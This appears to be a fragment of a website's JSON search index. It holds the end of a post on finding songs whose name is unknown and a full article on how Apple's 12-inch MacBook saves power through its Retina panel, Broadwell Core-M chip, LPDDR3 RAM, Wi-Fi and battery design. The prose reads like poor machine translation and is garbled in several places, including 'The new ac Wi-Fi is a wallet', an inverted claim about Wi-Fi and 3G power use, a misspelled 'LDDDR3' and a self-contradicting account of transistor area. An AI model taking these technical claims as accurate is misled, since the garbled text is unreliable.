lyrics, allowing users to play music and watch TV lyrics via Chromecast.Sleep timer timer , edit Equalizer modifier, automatically add descriptions and add album covers .\nThere are a few tips to help you find the music you want to hear but don't know, most users search for words on Google or search by . asking the music player, but if you are afraid to ask or If you are listening to another song, you can use one of the tips above to find the song you want to listen to.\nSee more:\nFree music player application for Android phones How to sign up for a Zing account VIP downloads high quality music How to increase or decrease the volume on Android when the volume control button is broken How to double the volume on Android phones ncG1vNJzZmismaXArq3KnmWcp51kxKLF0marqGWWnruledKopaCrXay1prqMsqauZZSku7V5yqemsGWknbJuusCmnA%3D%3D\n","link":"/post/ways-to-find-songs-when-you-don-t-know-the-name/","section":"post","tags":null,"title":"Ways to find songs when you don't know the name"},{"body":"Apple's newly released 12 \"MacBook has absolute thinness, Retina display, but retains an impressive battery life of about 9 hours. This 9-hour figure is nearly 2 hours lower than the MacBook Pro 13. \"Early in 2015 but remember that the battery capacity on the MacBook 12\" is nearly half lower than the MacBook Pro 13 \"(39.7Wh compared to 74.9Wh). It is even lower than the 54Wh on the MacBook Air 13 \"which used for 12 hours. So what did Apple do for the MacBook 12\" to consume as little power as possible?\nTo achieve that achievement, Apple not only crams maximum battery capacity into the space inside the device, it also incorporates many factors such as the new Retina screen, RAM and super-energy-saving processor chip to help the machine consume less electricity.\nNew technology Retina Previously, when MacBook Air did not have a Retina screen, many reasons were mentioned, two of which were technologies that did not allow Apple to integrate the Retina panel into a thin machine and it would significantly reduce the time spent. Use the device's battery. The MacBook 12 \"has a significantly smaller screen size than the MacBook Pro 13\" and the battery capacity is less than half the size ( 39.7Wh compared to 74.9Wh ) but the time used for a single charge remains Very impressive amount of 9 hours . The power that a panel Retina has with millions of pixels needed to operate is much larger than that of a normal screen, and the very high pixel density / inch makes the backlight more difficult to illuminate.\n  Usually to do so Apple or manufacturers must need higher capacity, single-occupancy batteries like the iPad 3 or iPad mini 2, both thicker than the previous generation to support the Retina display. The new MacBook does not, it is thinner than the MacBook Air. In TFT-LCD monitors, part of each pixel is covered by transistors that control sub-pixels of blue, green and red. Depending on the design and each panel type, the area that is not covered by the transistor is small or large, usually half the area of ​​a pixel. When this unoccupied area is smaller, the backlight will need more energy to illuminate, resulting in it consuming more power. Fortunately, there is a way to increase the area for this part of the transistor.\nOne of the solutions used is to change materials to make transistors. The LTPS ( low-temperature Polisilicon ) panels - used by Apple on the iPhone - use smaller size transistors thanks to higher electron mobility ( electrons ), thus increases the area of ​​the transistors not covered by each pixel.\nAnother solution is to redesign every pixel, which seems to be the way Apple applies on the newly-released MacBook 12. Apple doesn't say much about the technology but some evidence suggests that they stack up layers each other, thus increasing the area for the transistor-free part, in the past, an Apple patent that explained the technique of splitting transistor ports into two parts and piling them up to increase the area of ​​the transistor However, it is unknown whether Apple will use this technique or not, only to know the result that Apple achieved is to significantly increase the area for the part that does not contain the transistor, so that the backlight works more efficiently, more efficiently. 30% less energy used compared to other laptops, so a power saving issue for MacBook with m Retina display has been resolved.\nBroadwell Core-M processor chip After the Retina ultra-high resolution screen, the processor chip is the next factor consuming a lot of power of the device. Apple uses the latest Broadwell Core-M processor from Intel, which is a super-energy-efficient chip with two processor cores. Broadwell is in the 'tick' phase of Intel's chip development process. This phase does not have many structural changes but the most significant improvement is that the production process is reduced from 22nm to 14nm . The reduced size of each transistor will allow Intel to integrate more transistors into the chip, thus increasing processing performance. Data from Intel show Broadwell uses 30% less power than the previous Haswell generation while its performance is even higher.\n  Broadwell Core-M is smaller\nSimply using Broadwell for the MacBook 12 \"is not enough, but Apple also turned to the super-energy-efficient version of the chip, which is Core-M for mobile devices. Core-i5 CPUs on MacBook Air have 15W capacity while with Core-M on the MacBook 12 \"is only 5W , very impressive. Reducing capacity also means reducing the amount of heat that the CPU emits when operating. This is significant because Apple can confidently remove the radiator fan on the MacBook 12 \", thereby reducing a bit of power consumption by the cooling fan also need to power to run.\nMore efficient RAM Apple has begun to popularize super-power LPDDR3 RAM memory generation on its computers. It began appearing on the MacBook Air in 2013 and the MacBook 12 \"also uses this RAM technology. LPDDR3 was originally built for smartphones and tablets so it is different from DDR3L, the power-saving version of the kit. RAM for computers.\nBesides requiring lower I / O voltage, LPDDR3 runs with 1.2V HSUL voltage ( lower than 1.35V SSTL on DDR3L ), LPDDR3 also has a standby mode during stand-by .\nWhen operating, RAM LDDDR3 only uses about 70% of the power compared to traditional DDR3 RAM. While in standby, that number is 10% . If compared with DDR3L, the number of operations will be 85% .\nOther factors In addition to the new technology Retina screen, RAM and ultra-low-power CPU, there are other factors that help the MacBook 12 \"use less or use power more efficiently. The new 'ac' Wi-Fi is a wallet. For example, this 'ac' standard completes network response time faster so that the chip will switch back to power saving standby sooner, which is why smartphones consume less power when used. Wi-Fi is more than 3G or LTE.\nNew-style keyboards are also a factor. Apple, instead of using LED lighting for the keyboard via a light-emitting plate, equipped each key with a separate LED on the new MacBook 12 \". This allows for a more efficient energy management system.\n  Battery placement technology\nFinally the new battery design. Using a multi-layer battery technology, Apple can cram a lot of battery capacity into the empty space inside the device. As a result, the MacBook 12 \"has 35% more battery capacity than current battery technology.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02abopxdlr2xuMRmm6hllqS%2FbsDHnmSmmZOXvLC3jGppZqyfYrCwutKupJ5lkah6rbXTraOeZaCkxKa%2BjJqqZqifqMCqrsue\n","link":"/post/what-did-apple-do-for-the-macbook-12-to-consume-as-little-power-as-possible/","section":"post","tags":null,"title":"What did Apple do for the MacBook 12 'to consume as little power as possible?"},{"body":"","link":"/series/","section":"series","tags":null,"title":"Series"},{"body":"","link":"/tags/","section":"tags","tags":null,"title":"Tags"}]